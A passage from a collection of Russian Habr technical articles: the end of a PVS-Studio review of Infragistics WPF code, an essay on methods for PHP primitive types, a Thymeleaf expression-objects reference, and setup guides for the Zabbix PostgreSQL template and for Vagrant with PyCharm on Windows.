public void SyncSeriesViewPropertyChanges() {
if (this.SeriesView != null)
this.SeriesView.PropertyUpdated += OnSeriesViewPropertyUpdated;
if (this.SeriesView != null)
this.SeriesView.PropertyChanged += OnSeriesViewPropertyChanged;
}
```
[V3029](http://www.viva64.com/ru/d/0418/) The conditional expressions of the 'if' operators situated alongside each other are identical. Check lines: 342, 343. GeoSeriesLayer.cs 342
Как говорится — «на всякий случай, а то вдруг»…
Хотя это и не ошибки, но повторные поверки загромождают код и усложняют его понимание.
А вот избыточный код, который возник скорее всего во время рефакторинга.
```
public Frame NavigationTarget
{
get { return (Frame)this.GetValue(NavigationTargetProperty); }
set {
var targetFrame = value as Frame;
if (targetFrame != null)
this.SetValue(NavigationTargetProperty, value);
}
}
```
«value» и так имеет тип Frame, приведение бессмысленно. Но данном случае здесь надо рассматривать ситуацию в более в широком смысле. Infragistics производит проверку на null при записи в DependencyProperty. Для подобных проверок разработчиками свойств зависимости была предусмотрена функция обратного вызова «ValidateValueCallback». Данная функция проверяет значения, которые записываются в DependencyProperty, а задается она при регистрации свойства зависимости.
Заключение
----------
В очередной раз наш радужный единорог в сияющих доспехах выявил немалое количество проблемных мест (в статье перечислены далеко не все ошибки, которые мы обнаружили). Да, теперь разработчики могут исправить код и сделать его более качественным, чем был… Чем был, когда его писали… Чем был, когда его тестировали… Чем был, когда его переписывали, запускали, а он вновь и вновь падал или работал не так, как нужно…
В мой практике на предыдущей работе, были авралы по выходным и по ночам, за несколько дней до дедлайна, когда нужно было сделать очень много и очень быстро. Вся команда понимала, что нужно делать, но спешка и усталость давали о себе знать, и больше времени уходило именно на отладку. Т.е. мы пишем код, запускаемся, а он работает не так, как задумывалось. Останавливаем всё, ставим брейкпоинт и снова запускаемся. Выполняем все действия для повторения, приходим в точку останова и строчку за строчкой проверяем и смотрим, что в ней происходит. Прыгая по коду туда-сюда и просматривая значения в переменных. А в итоге оказывается, что где-то в условии перепутали переменную или знак… Вот и получается, что на банальную опечатку при Copy-Paste-е уходит 15 минут чистого времени…
Так что, сколько бы мы не проверяли проекты, сколько бы мы в них не находили ошибок, это всего лишь меленькая вершина огромного айсберга проблем, которые возникают при написании кода.
Никто не застрахован от ошибок. Даже создавая код, который должен служить образцом для подражания и визитной карточкой компании, невозможно избежать ошибок.
Мой вам искренний совет — пользуйтесь анализатором PVS-Studio постоянно. Для это в нем есть все инструменты. Например, есть режим, в котором он проверяет изменённые файлы, вам даже не надо его запускать, анализатор сам проверит, что нужно и сообщит о проблемах в них.
[](http://www.viva64.com/en/b/0375/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Vitaliy Alferov. [Analyzing source code of WPF examples by the Infragistics Company](http://www.viva64.com/en/b/0375/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/276989/ | null | ru | null |
# Методы в примитивных типах PHP
Некоторое время назад назад Энтони Феррара выразил мысли по поводу [будущего PHP](http://blog.ircmaxell.com/2014/03/an-opinion-on-future-of-php.html). Соглашусь с большинством его взглядов, но не со всеми. В статье я остановлюсь на одном конкретном аспекте: преобразования примитивных типов данных, таких как строки или массивы, в “псевдо-объекты”, позволяя выполнять в них вызовы методов.
Начнем с нескольких примеров:
```
$str = "test foo bar";
$str->length(); // == strlen($str) == 12
$str->indexOf("foo") // == strpos($str, "foo") == 5
$str->split(" ") // == explode(" ", $str) == ["test", "foo", "bar"]
$str->slice(4, 3) // == substr($str, 4, 3) == "foo"
$array = ["test", "foo", "bar"];
$array->length() // == count($array) == 3
$array->join(" ") // == implode(" ", $array) == "test foo bar"
$array->slice(1, 2) // == array_slice($array, 1, 2) == ["foo", "bar"]
$array->flip() // == array_flip($array) == ["test" => 0, "foo" => 1, "bar" => 2]
```
Здесь `$str` — это обычная строка и `$array` является простым массивом — они не объекты. Мы просто даем им немного объектного поведения, позволяя вызывать в них методы.
Обратите внимание, такое поведение совсем не за горами. Это уже не сон, кое-что уже существует прямо сейчас. PHP расширение [scalar objects](https://github.com/nikic/scalar_objects) позволяет определить методы для примитивных типов.
Введение поддержки вызова методов в примитивных типах имеет ряд преимуществ, которые я рассмотрю далее:
Возможность очистить API
------------------------
Вероятно, наиболее распространенной жалобой тех, кто хоть что-то слышал о PHP, является непоследовательное и непонятное именование функций в стандартной библиотеке, а также в равной степени непоследовательный и непонятный порядок параметров. Типичные примеры:
```
// различная концепция именования
strpos
str_replace
// совершенно непонятные имена
strcspn // STRing Complement SPaN
strpbrk // STRing Pointer BReaK
// инвертированный порядок параметров
strpos($haystack, $needle)
array_search($needle, $haystack)
```
Хотя эта проблема часто переоценена *(у нас же есть IDE)*, трудно отрицать, что сложившаяся ситуация не является достаточно оптимальной. Следует также отметить, что многие функции имеют проблемы, которые выходят за пределы странного имени. Зачастую все случаи поведения учитываются должным образом учтены и, соответственно, не обрабатываются, таким образом возникает необходимость специально обрабатывать их в вызывающем коде. Для строковых функций, как правило, это проверки на пустые строки или смещения, находящиеся в самом конце строки.
Логичный выход — просто добавить в PHP6 огромное количество алиасов для функций, которые будут унифицировать имена и параметры вызова. Мы будем иметь `string\\pos()`, `string\\replace()`, `string\\complement_span()` или что-то вроде того. Лично для меня *(и, кажется, многие php-src разработчиков придерживаются схожего мнения)* это не имеет особого смысла. Нынешние имена функций глубоко укоренились в мышечной памяти любого PHP-программиста и делать несколько тривиальных косметических изменений, кажется, просто незачем.
С другой стороны, введение ОО API для примитивных типов дает возможность редизайна API в качестве побочного эффекта перехода к новой парадигме. Оно также позволяет начать с по-настоящему чистого листа, без необходимости удовлетворять какие-либо ожидания старого процедурного API. Два примера:
* Я бы очень хотел, чтобы методы `$string->split($delimiter)` и `$array->join($delimiter)`, являющиеся общепринятыми, имели нормальные для этих функций названия *(в отличие от `explode` и `implode`)*. С другой стороны, очень неудобно иметь `string\\split($delimiter)` функцию при том, что уже существует функция `str_split`, которая делает совершенно другое (преобразует строку в массив).
* Я бы хотел, чтобы новый API использовал исключения для отчетов об ошибках, как в OO API, в котором это уже воспринимается как данность, так и в переименованном процедурном API. Однако такой подход идет против текущего соглашения, в котором сказано, что все процедурные функции должны использовать warning для обработки ошибок. Конечно же это не высечено на камне, но я не хотел бы осознанно начинать холивар ;)
Моя *главная* цель в OO API для примитивных типов: начать с чистого листа, что позволит нам реализовать комплекс правильно разработанных решений. Но, конечно, это не единственное преимущество такого шага. ОО синтаксис предлагает ряд дополнительных преимуществ, которые будут рассмотрены ниже.
Улучшение читаемости
--------------------
Процедурные вызовы обычно не складываются в последовательную цепочку. Рассмотрим следующий пример:
```
$output = array_map(function($value) {
return $value * 42;
}, array_filter($input, function($value) {
return $value > 10;
});
```
На первый взгляд не ясно, что вызвал `array_map` и к чему обратился `array_filter`? В каком порядке они вызвались? Переменная `$input` спрятана где-то в середине между двумя замыканиями, вызовы функций пишутся в обратном порядке, от того как они применяются на самом деле. Теперь тот же пример с использованием ОО синтаксиса:
```
$output = $input->filter(function($value) {
return $value > 10;
})->map(function($value) {
return $value * 42;
});
```
Я полагаю, что в этом случае порядок действий (сначала фильтр, потом маппинг) и исходный массив `$input` показаны более очевидно.
Пример, конечно, немного надуманный, поскольку всегда можно вынести замыкания в переменные или воспользоваться автоподстановкой и подсветкой синтаксиса в IDE. Другой пример (на этот раз из реального кода), показывает примерно такую же ситуацию:
```
substr(strtr(rtrim($className, '_'), '\\', '_'), 15);
```
В этом случае ряд дополнительных параметров `'_'), '\\\\', '_'), 15` совершенно сбивает с толку, трудно связать подставляемые значения с соответствующими вызовами функций. Сравните с этой версией:
```
$className->trimRight('_')->replace('\\', '_')->slice(15);
```
Здесь операции и их аргументы плотно сгруппированы и порядок вызова методов соответствует тому порядку, в котором они выполняются.
Еще одним бонусом, который получается из такого синтаксиса, является отсутствие проблемы «needle/haystack». В то время как алиасы позволяют нам устранить это путем введения соглашения об именовании, в ОО API подобной проблемы просто не существует:
```
$string->contains($otherString)
$array->contains($someValue)
$string->indexOf($otherString)
$array->indexOf($someValue)
```
Не может быть никакой путаницы относительно того какая часть выполняет какую роль.
Полиморфизм
-----------
PHP в данный момент предоставляет [интерфейс `Countable`](http://php.net/manual/ru/class.countable.php), который может быть реализован в классах, для того, чтобы настроить вывод `count($obj)`. Зачем все это нужно? Из-за того, что мы не имеем полиморфизма функций. Тем не менее, у нас есть полиморфизм методов.
Если массивы реализуют `$array->count()` как (псевдо-)метод, на уровне кода можно будет не волноваться, что `$array` — это массив. Это может быть реализовано в любом другом объекте с помощью метода `count()`. В принципе, мы получаем такое же поведение, как при использовании `Countable`, только без необходимости в каких-либо манипуляциях.
На самом деле здесь скрывается намного более общее решение. Например, вы могли бы реализовать класс `UnicodeString`, который имплементирует все методы типа string, а затем использовать обычные строки и `UnicodeString` взаимозаменяемо. Ну, по крайней мере, в теории. Очевидно, это будет работать только до тех пор, пока использование ограничено только строковыми методами, и будет сбоить, после того использования оператора конкатенации, т.к. полная перегрузка операторов в настоящее время поддерживается только для внутренних классов.
Тем не менее, я надеюсь, понятно, что это довольно мощная концепция. То же самое относится и к массивам, например. Вы могли бы использовать [класс `SplFixedArray`](http://php.net/manual/ru/class.splfixedarray.php), который ведет себя так же, как и массив, реализуя тот же интерфейс.
Теперь, когда мы рассмотрели некоторые преимущества данного подхода, давайте также рассмотрим и некоторые проблемы, с которыми придется столкнуться:
Нестрогая типизация
-------------------
Цитата из блога Энтони:
> [C]каляры не являются объектами, но, что более важно, они не могут быть любыми типами. PHP зависит от системы типизации, которая искренне верит, что строки это целые числа. Много гибкости системы основано на том, что любой скалярный тип может быть преобразован в любой другой с легкостью. [...]
> Более важно, однако, из-за этого системы нестрогой типизации, вы не можете знать на 100%, каким типом будет переменная. Вы можете сказать, как вы хотите относиться к ней, но Вы не можете явно указать, что будет под капотом. Даже с помощью приведения типов вы не добьетесь идеальной ситуации, поскольку бывают случаи, когда тип все еще может измениться.
>
>
Чтобы проиллюстрировать эту проблему, рассмотрим следующий пример:
```
$num = 123456789;
$sumOfDigits = array_sum(str_split($num));
```
Здесь `$num` обрабатывается как строка из цифр, которые разделены с помощью `str_split`, а затем суммируются с помощью `array_sum`. Теперь попробуйте сделать то же самое с использованием методов:
```
$num = 123456789;
$sumOfDigits = $num->chunk()->sum();
```
Метод `chunk()`, который находится в `string`, вызывается из `number`. Что происходит? Энтони предлагает одно из решений:
> Это означает, что для всех скалярных операций необходимо соблюдать все скалярные типы. Что приводит к объектной модели, где скаляры имеют все математические методы, а также все строковые. Какой кошмар.
>
>
Цитата уже говорит, что такое решение неприемлемо. Однако я думаю, что мы можем полностью избавиться от таких случаев просто выбрасывая ошибку (исключение!). Чтобы объяснить, почему идея имеет право на жизнь, давайте взглянем на то, какие типы в PHP могут иметь значение.
Примитивные типы в PHP
----------------------
Помимо объектов, PHP имеет следующие типы переменных:
```
null
bool
int
float
string
array
resource
```
Теперь давайте подумаем, что из списка на самом деле может иметь значимые методы: Сразу же можно убрать `resource` (legacy type) и посмотреть на остальных. `Null` и `bool`, очевидно, не нуждаются в методах, если вы не хотите придумывать мерзости типа `$bool->invert()`.
Подавляющее большинство математических функций не слишком хорошо выглядят в качестве методов. Рассмотрим:
```
log($n) $n->log()
sqrt($n) $n->sqrt()
acosh($n) $n->acosh()
```
Надеюсь, что вы согласны с тем, что математические функции для чтения гораздо приятнее в текущем обозначении. Есть, конечно, несколько методов, которые разумно было бы отнести в тип `number`. Например, `$num->format(10)` читается довольно красиво. Подробнее об этом. Нет никакой реальной необходимости в OO number API, так как в нем мало функций, которые можно включить. Кроме того, нынешний математический API не так проблематичен в плане именования в соответствии с математическими операциями, имена довольно стандартизированы.
Остаются только строки и массивы. Мы уже видели, что есть много хороших API для этих двух типов. Но какое отношение все это имеет к проблеме со слабой типизацией? Важным моментом является следующее:
Хотя очень часто используется преставление строк в качестве целых чисел, например, приходящих по HTTP или из БД, обратное не верно: очень редко, чтобы нужно было использовать целое число в виде строки. Следующий код будет запутает меня:
```
strpos(54321, 32, 1);
```
Обработка числа как строки является довольно странный работой. Я думаю, что совершенно нормально требовать приведения в таком случае. Используя исходные пример с суммой цифр:
```
$num = 123456789;
$sumOfDigits = ((string) $num)->chunk()->sum();
```
Здесь мы выяснили, что, да, на самом деле не нужно приводить число к строке. Для меня приемлемо в таких случаях использовать подобный хак.
С массивами ситуация еще проще: не имеет смысла применять операции для работы с массивами с тем, что не является массивом.
Еще одним фактором, который улучшает данного вопроса являются контроль скалярных типов (который присутствует в любой версии PHP). Если вы используете контроль типа `string`, на входе вы всегда дожны будете подавать строку (даже если значение, передаваемое в функцию отсутствует — в зависимости от деталей реализации контроля типов).
Но это не значит, что никакой проблемы здесь нет вообще. Из-за неправильного дизайна функций, может иногда случаться, что неожиданный тип пробирается в код. Например, `substr($str, strlen($str))`, кто-то очень «мудрый» решил возвращать `bool(false)` вместо `string(0) ""`. Однако, такой вопрос касается только `substr`. С методами API он никак не связан, так что вы не столкнетесь с этим
Семантика передачи объекта
--------------------------
Кроме проблемы с неявной типизацией, есть и другой семантический вопрос о псевдо-методах в примитивных типах: объекты и типы в PHP имеют разные семантические способы взаимодействия над собой. Если мы начнем позволять вызывать методы в строках и массивах, они начнут выглядеть как объекты и некоторые люди из-за этого могут начать ожидать, что они имеют семантику объекта. Эта проблема касается как строк, так и массивов:
```
function change($arg) {
echo $arg->length(); // $arg выглядит как объект
$arg[0] = 'x'; // а теперь нет :3
}
$str = 'foo';
change($str); // $str остается прежним
$array = ['f', 'o', 'o'];
change($array); // $array остается прежним
```
Можно было бы изменить действие семантики. В моих глазах передачи больших структур, таких как массивы, по значению — довольно плохая идея, в первую очередь, предпочтительнее было бы, чтобы они передавались пообъектно. Тем не менее, получилась бы довольно большая дыра в обратной совместимости при смене подхода, по крайней мере, мне так кажется, я не выполнял тесты, чтобы определить фактическое воздействие такого изменения. Для строк, с другой стороны, передача в качестве объекта будет иметь катастрофические последствия, если мы заставим строки быть полностью неизменными. Лично я считаю текущий подход, позволяющий изменить конкретный символ в строке в любой момент, очень удобным (попробуйте сделать тоже самое в Python).
Не знаю, если есть хороший способ решить эту проблему, кроме явного упоминания в нашей документации о том, что строки и массивы — это только *псевдо-объекты* с методами, а не реальные объекты.
Проблему также можно расширить и на другие объектно-связанные функции. Например, вы могли бы писать что-то вроде `$string instanceof string` чтобы явно определять строка это или настоящий объект. У меня нет уверенность в том, как далеко все это должно зайти. Лучше строго придерживаться всех методов и явно упоминать, что это не реальные объекты. В этом случае получится хорошая поддержка фич ОО системы. Надо будет еще подумать над этим.
Текущее состояние
-----------------
В заключение, такой подход имеет ряд проблем, но не стоит рассматривать их как особенно важные. В то же время он дает большие возможности внедрять экологически чистые API для наших основных типов и улучшить читаемость (и написание) кода выполнения операций с ними.
В каком же состоянии находится идея? Народ особо не против подобного подхода и хочет чтобы такие алиасы существовали везде. Главное, чего не хватает, чтобы двигаться вперед по этому вопросу является отсутствие выработанной спецификации по API.
Я создал проект [scalar objects](https://github.com/nikic/scalar_objects), который реализован как расширение PHP. Он позволяет регистрировать класс, который будет обрабатывать вызовы метода для соответствующего примитивного типа. Пример:
```
class StringHandler {
public function length() {
return strlen($this);
}
public function contains($str) {
return false !== strpos($this, $str);
}
}
register_primitive_type_handler('string', 'StringHandler');
$str = "foo bar baz";
var_dump($str->length()); // int(11)
var_dump($str->contains("bar")); // bool(true)
var_dump($str->contains("hello")); // bool(false)
```
Сейчас начата работа над [string handler](https://github.com/nikic/scalar_objects/blob/master/handlers/string.php), включающий [API спецификацию](https://github.com/nikic/scalar_objects/blob/master/doc/string_api.md), но я так и не закончил проект. Надеюсь, найду мотивацию, чтобы когда-нибудь продолжить развивать эту идею. Уже существует ряд проектов, работающих на подобных API.
Вот одна из тех вещей, которые хотелось бы видеть в новом PHP. | https://habr.com/ru/post/240561/ | null | ru | null |
# Учебник Thymeleaf: Глава 18. Приложение A: Основные выражения
[Оглавление](https://habrahabr.ru/post/350862/)
18 Приложение A: Основные выражения
-----------------------------------
Некоторые объекты и переменные всегда доступны для вызова. Давайте посмотрим на них:
**Базовые объекты**
**#ctx**: объект контекста. Реализация org.thymeleaf.context.IContext или org.thymeleaf.context.IWebContext в зависимости от нашей среды (standalone или web).
*Примечание* **#vars** и **#root** являются синонимами для одного и того же объекта, но рекомендуется использовать **#ctx**.
```
/*
* ==============================
* См. Javadoc API для класса org.thymeleaf.context.IContext
* ==============================
*/
${#ctx.locale}
${#ctx.variableNames}
/*
* ==============================
* См. Javadoc API для класса org.thymeleaf.context.IWebContext
* ==============================
*/
${#ctx.request}
${#ctx.response}
${#ctx.session}
${#ctx.servletContext}
```
**#locale**: прямой доступ к java.util.Locale, связанный с текущим запросом.
```
${#locale}
```
**Пространства имен веб-контекста для атрибутов request/session и т. д.**
При использовании Thymeleaf в веб-среде мы можем использовать ряд ярлыков для доступа к параметрам запроса, атрибутам сеанса и атрибутам приложения:
**Обратите внимание**, что это не объекты контекста, а map, добавленные в контекст как переменные, поэтому мы обращаемся к ним без #. В некотором роде они действуют как пространства имен.
**param**: для получения параметров запроса. **${param.foo}** является String[] со значениями параметра запроса foo, поэтому **${param.foo[0]}** обычно используется для получения первого значения.
```
/*
* ==============================
* См. Javadoc API для класса org.thymeleaf.context.WebRequestParamsVariablesMap
* ==============================
*/
${param.foo} // Возвращает строку [] со значениями параметра запроса 'foo'
${param.size()}
${param.isEmpty()}
${param.containsKey('foo')}
```
**session**: для получения атрибутов сеанса.
```
/*
* ==============================
* См. Javadoc API для класса org.thymeleaf.context.WebSessionVariablesMap
* ==============================
*/
${session.foo} // Возвращает сеанс atttribute 'foo'
${session.size()}
${session.isEmpty()}
${session.containsKey('foo')}
```
**application**: для извлечения атрибутов контекста приложения/сервлета.
```
/*
* ==============================
* См. Javadoc API для класса org.thymeleaf.context.WebServletContextVariablesMap
* ==============================
*/
${application.foo} // Получает ServletContext аттрибут 'foo'
${application.size()}
${application.isEmpty()}
${application.containsKey('foo')}
```
*Обратите внимание*: нет необходимости указывать пространство имен для доступа к атрибутам **request** (в отличие от параметров request), поскольку все атрибуты request автоматически добавляются в контекст как переменные в корне контекста:
```
${myRequestAttribute}
```
**Объекты веб-контекста**
Внутри веб-среды есть также прямой доступ к следующим объектам (обратите внимание, что это объекты, а не maps/namespaces):
**#request**: прямой доступ к объекту javax.servlet.http.HttpServletRequest, связанному с текущим запросом.
```
${#request.getAttribute('foo')}
${#request.getParameter('foo')}
${#request.getContextPath()}
${#request.getRequestName()}
```
**#session**: прямой доступ к объекту javax.servlet.http.HttpSession, связанному с текущим запросом.
```
${#session.getAttribute('foo')}
${#session.id}
${#session.lastAccessedTime}
```
**#servletContext**: прямой доступ к объекту javax.servlet.ServletContext, связанному с текущим запросом.
```
${#servletContext.getAttribute('foo')}
${#servletContext.contextPath}
``` | https://habr.com/ru/post/352552/ | null | ru | null |
# Настраиваем официальный шаблон PostgreSQL на Zabbix 4.4
Всем привет.
В Zabbix появился официальный **Template DB PostgreSQL**. В этой статье настроим его в Zabbix 4.4.
> **ПРИМЕЧАНИЕ**
>
>
>
> Если у вас все хорошо с английским, то рекомендую установить шаблон по официальному мануалу
>
>
>
> [github.com/zabbix/zabbix/tree/master/templates/db/postgresql](https://github.com/zabbix/zabbix/tree/master/templates/db/postgresql)
>
>
>
> Тем не менее в моей статье учтены нюансы, которых нет по этой ссылке.
>
>
Подготовка шаблона
------------------
1. Переходим в домашний каталог.
```
cd ~
```
2. Скачиваем утилиту git и клонируем официальный репозиторий Zabbix, который находится на GitHub.
```
yum -y install git
git clone https://github.com/zabbix/zabbix.git
```
3. Переходим в каталог с шаблоном PostgreSQL.
```
cd zabbix/templates/db/postgresql/
```
Настройка шаблона для агента Zabbix
-----------------------------------
1. Подключимся к PostgreSQL.
```
psql -U postgres
```
2. Создадим пользователя zbx\_monitor только для чтения с доступом к серверу PostgreSQL.
Для PostgreSQL версии 10 и выше:
```
CREATE USER zbx_monitor WITH PASSWORD '<ВАШ_ПАРОЛЬ>' INHERIT; GRANT pg_monitor TO zbx_monitor;
```
Для PostgreSQL версии 9.6 и ниже:
```
CREATE USER zbx_monitor WITH PASSWORD '<ВАШ_ПАРОЛЬ>';
GRANT SELECT ON pg_stat_database TO zbx_monitor;
--Для сбора метрик WAL пользователь должен быть superuser.
ALTER USER zbx_monitor WITH SUPERUSER;
```
3. Скопируем каталог postgresql/ в каталог /var/lib/zabbix/. Если у вас в /var/lib/ отсутствует каталог zabbix/, то создайте его. Каталог postgresql / содержит файлы, необходимые для получения метрик из PostgreSQL.
```
cp -r postgresql/ /var/lib/zabbix/
```
4. Затем скопируем файл template\_db\_postgresql.conf в каталог конфигурации агента Zabbix /etc/zabbix/zabbix\_agentd.d/ и перезапустите агента Zabbix.
```
cp template_db_postgresql.conf /etc/zabbix/zabbix_agentd.d/
```
5. Теперь отредактируем файл pg\_hba.conf, чтобы разрешить подключение к Zabbix. Подробнее о файле pg\_hba.conf: <https://www.postgresql.org/docs/current/auth-pg-hba-conf.html>.
Откройте файл:
```
vi /var/lib/pgsql/12/data/pg_hba.conf
```
Добавьте одну из строк (Если не понимаете зачем это нужно, то добавьте только первую строку.):
```
host all zbx_monitor 127.0.0.1/32 trust
host all zbx_monitor 0.0.0.0/0 md5
host all zbx_monitor ::0/0 md5
```
> **ПРИМЕЧАНИЕ**
>
>
>
> Если PostgreSQL установлен из репозитория PGDG, добавьте путь к pg\_isready в переменную среды PATH для пользователя zabbix.
>
>
>
> **Как вариант:**
>
>
>
>
> ```
> ln -s /usr/pgsql-12/bin/pg_isready /usr/bin/pg_isready
> ```
>
>
> *\* — так как у меня pgsql 12 версии, то у вас вместо pgsql-12 будет другой путь.*
>
>
>
> Если этого не сделать, то Status: Ping всегда будет в состоянии Down.
>
>
Добавление шаблона на фронтенде Zabbix
--------------------------------------
Считаю, что те, кому требуется снимать метрики с PostgreSQL итак знают как добавлять шаблоны. Поэтому опишу процесс кратко.
1. Заходим на страницу Zabbix;
2. Переходим на страницу "**Configuration**" => "**Host**";
3. Нажимаем на кнопку "**Create host**" или выбираем существующий хост;
4. На странице создания/редактирования хоста выбираем вкладку "**Templates**" и и жмём на линк "**Add**";
5. В «Group» из списка выбираем «Templates/Databases», выбираем шаблон "**Template DB PostgreSQL**", жмём кнопку "**Select**" и нажимаем кнопку "**Update**";
Ждём некоторое время и наконец, переходим в "**Monitoring**" => "**Latest data**" => "**Hosts**" выбираем сервер с PostgreSQL => нажимаем "**Apply**".
Enjoy! | https://habr.com/ru/post/475604/ | null | ru | null |
# Vagrant, Python, Pycharm = (удобная, работа, Windows)
##### **Введение**
Django — широко известный и один из наиболее развитых фреймворков для веб-разработки. Django написан на Python и, следовательно, для работы с ним потребуется установленный интерпретатор Python. Это не представляет никаких проблем, если мы работаем в среде Linux. Однако события принимают совсем другой оборот, если приходится заниматься разработкой на Python под Windows.
Для Windows есть готовые сборки Python, среди которых стоит отметить [Enthought Python](https://www.enthought.com/products/epd/), [Anaconda Python](https://store.continuum.io/cshop/anaconda//), [PythonXY](https://code.google.com/p/pythonxy/).
Есть и [более простые пути](http://docs.python-guide.org/en/latest/starting/install/win/).
Основной их недостаток по сравнению со «стандартным» Python в Linux — ограниченность набора библиотек, доступных для установки. В частности, в них не Django, и для его установки приходится совершать некие не совсем очевидные действия.
Один из возможных вариантов решения проблемы — установка виртуальной машины с Linux на борту. Работа с виртуальной машиной, несмотря на простоту ее установки и настройки, привносит ряд неудобств.
Так, виртуальная машина может оказаться довольно требовательной к ресурсам компьютера и временами работать медленно, создавая дискомфорт разработчику. Особенно сильно это раздражает, если торможение начинается в самый напряженный момент работы (а именно тогда это чаще всего и происходит!). Кроме того, даже на очень хорошем железе такое IDE, как PyCharm, работает в режиме далеком от того, который принято считать комфортным.
Повысить быстродействие можно за счет установки только необходимых пакетов, отсутствия оконного менеджера и тому подобных проблем. Т. е., необходимо правильно сконфигурировать виртуальную машину. И в этом деле на помощь приходит [Vagrant](http://www.vagrantup.com/) — утилита для создания полностью готовых рабочих окружений на основе виртуальных машин (VirtualBox, VmWare Player/Workstation). Vagrant не только устанавливает виртуальную машину, но и позволяет с легкостью создавать новые, используя текущую конфигурацию пользователя.
В следующем разделе рассматривается установка и настройка рабочего окружения Vagrant для использования его в качестве удаленного Python интерпретатора для проектов PyCharm.
##### **Работа с Vagrant в Windows**
###### **Установка Vagrant и загрузка окружения**
Установка Vagrant выполняется очень просто. Все, что необходимо, — скачать [установщик](https://dl.bintray.com/mitchellh/vagrant/vagrant_1.5.2.msi) с сайта и запустить его. Кроме того, для работы Vagrant требуется установить одну из виртуальных машин VirtualBox или VMware.
После того, как Vagrant установлен, мы переходим к созданию рабочего окружения. Основа его построения — «коробка» Vagrant (box). »Коробка» Vagrant представляет собой файл с расширением box. Этот файл есть не что иное, как архив tar, возможно сжатый с помощью gzip. Внутри архива хранятся образ виртуальной машины и файлы, необходимые для ее корректного запуска.
На официальном сайте Vagrant есть значительное число готовых «коробок» с различными версиями Linux и установленным ПО. Их список можно посмотреть на [VagrantCloud](https://vagrantcloud.com/discover/featured).
Еще больше готовых окружений доступно на [www.vagrantbox.es](http://www.vagrantbox.es).
Для наших целей вполне подойдет стандартная версия Ubuntu — hashicorp/precise64 с предустановленными Chef и Puppet (которые нам, к слову сказать, не понадобятся) из официального репозитория. Перед тем как устанавливать окружение, создадим директорию, где будет храниться файл с конфигурацией для него. Назовем ее Vagrant. Переходим в эту директорию и выполняем в консоли:
```
\Vagrant> vagrant init hashicorp/precise64
```
После этого в директории появится файл Vagrantfile, в котором содержится описание конфигурации данного окружения. Например, строчка config.vm.box = «hashicorp/precise64» определяет имя нашего окружения. Теперь все готово к тому, чтобы приступить к запуску окружения. Выполним
```
\Vagrant> vagrant up
```
и увидим сообщение о загрузке соответствующей «коробки». Т. к. это — первый запуск данного окружения, перед стартом его надо скачать из репозитория на локальный диск. Следует заметить, что в приведенном выше примере аргумент команды init — имя окружения — совпадает с таковым на сайте Vagrant. Это соответствие необязательно. Так, можно было бы сконфигурировать данное окружение (его версию без Chef и Puppet) и таким образом:
```
\Vagrant> vagrant init precise64
http://cloud-images.ubuntu.com/vagrant/precise/current/... .box
```
Второй аргумент init, как несложно заметить, представляет собой URL «коробки». Отметим также, что имена окружений, например, использованные выше hashicorp/precise64, precise64, фактически нужны для удобной ориентации среди установленных окружений, а сам Vagrant использует уникальные идентификаторы для запуска требуемого окружения (их значение хранится в файле action\_set\_name). Файлы рабочих окружений хранятся по умолчанию в директории ~/.vagrant.d}, где «~» в Windows — директория C:\Users\your\_login\.
После того как мы выполнили vagrant up и дождались загрузки окружения, оно готово к использованию, в чем можно убедиться, проверив его статус:
```
\Vagrant> vagrant status
```
Для завершения работы окружения используется команда
```
\Vagrant> vagrant halt
```
Все установленные окружения Vagrnat можно просмотреть с помощью vagrant box list или непосредственно в VirtualBox (VMware).
*Virtualbox с установленными виртуальными машинами Vagrant.*
В заключение этого раздела отметим, что окружение Vagrant может быть добавлено с помощью команды vagrant box add. Подробнее о ней и о других консольных командах Vagrant можно прочитать на странице с [официальной документацией](http://docs.vagrantup.com/v2/cli/index.html).
###### **Подключение к окружению Vagrant**
При старте окружения (vagrant up) в папке .vagrant.d автоматически создается ключ insecure\_private\_key для подключения к окружению по протоколу ssh. Для использования протокола ssh в Windows нам потребуются программы [PuTTY](http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe) и PuTTYgen (для конвертирования ключа в формат, который PuTTY понимает). Запускаем [PuTTYgen](http://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe), открываем insecure\_private\_key и видим сообщение, что ключ был успешно импортирован. Теперь можно сохранить его в формате ppk как private key.
Из соображений удобства ключ можно сохранить в папку с файлом Vagrantfile для данного окружения. Теперь указываем PuTTY, какой ключ использовать, и подключаемся через порт 2222 (номер порта отображается при выполнении vagrant up). По умолчанию для подключения используется имя (login) — vagrant.
Если подключение прошло удачно, мы окажемся в консоли нашего Vagrant-окружения, откуда можно устанавливать библиотеки Python или системные приложения.
*Сохранение ключа в PuTTYgen.*
*Настройка параметров соединения PuTTY.*
Теперь, когда рабочие окружения скачаны и запущены, все готово к установке Python и собственно Django. Хорошая практика — использование виртуальных окружений для работы с Python (и не только с ним). В этом случае риск конфликтов с уже установленными в системе версиями интерпретатора и прочего ПО сводится к минимуму и появляется возможность одновременной работы с разными версиями интерпретатора Python, Django или любого другого пакета.
Для установки виртуального окружения выполняем в консоли Vagrant:
```
vagrant@vagrant sudo apt-get install python-virtualenv
```
После завершения установки создаем новое виртуальное окружение
```
vagrant@vagrant virtualenv venv
```
активируем его
```
vagrant@vagrant source /home/vagrant/venv/bin/activate
```
Теперь пришло время установить Django:
```
(venv)vagrant@vagrant pip install django
```
Можно указать версию пакета, которую мы хотим установить:
```
(venv)vagrant@vagrant pip install django==1.4
```
Django установлен, но осталась одна небольшая задача: научить PyCharm работать с интерпретатором Python, установленным в окружении Vagrant. Как это сделать, разбирается в следующем разделе.
###### **Настройка PyCharm**
Запустим PyCharm и создадим новый Django-проект. По умолчанию он создается в папке ~/PycharmProjects/. Пусть это будет проект Test. Далее в домашней директории рабочего окружения Vagrant создадим папку PycharmProjects (совпадение имен случайно и выбрано из соображений удобства).
Переходим в меню настроек проекта: File->Settings->Project Interpeter. Здесь добавляем новый интерпретатор: указываем его адрес (127.0.0.1), номер порта (2222), имя пользователя (vagrant), путь к интерпретатору /home/vagrant/venv/bin/python и, наконец, указываем путь к файлу с ключом для ssh.
